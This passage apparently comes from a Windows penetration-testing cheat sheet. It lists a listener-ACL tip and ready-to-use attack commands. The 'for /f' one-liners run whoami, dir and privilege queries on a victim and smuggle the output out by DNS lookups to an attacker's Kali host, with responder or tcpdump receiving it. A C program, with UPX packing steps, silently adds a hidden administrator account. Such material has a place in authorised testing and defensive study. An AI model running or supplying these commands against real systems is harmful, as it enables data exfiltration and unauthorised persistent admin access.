### Listen address ACLs

You can listen on [http://+:80/Temporary\_Listen\_Addresses/](http://+:80/Temporary_Listen_Addresses/) without being administrator.

```bash
netsh http show urlacl
```

### Manual DNS shell

**Attacker** \(Kali\) must use one of these 2 options:

```bash
sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
```

#### Victim

_**for /f tokens**_ _\*\*_technique: This allows us to execute commands, get the first X words of each line and send it through DNS to our server

```text
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
```

You can also **redirect** the output, and then **read** it.

```text
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
```

## Calling CMD from C code

```c
#include <stdlib.h>     /* system, NULL, EXIT_FAILURE */

// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe

int main (){
    int i;
    i=system("net users otherAcc 0TherAcc! /add");
    i=system("net localgroup administrators otherAcc /add");
    return 0;
}
```
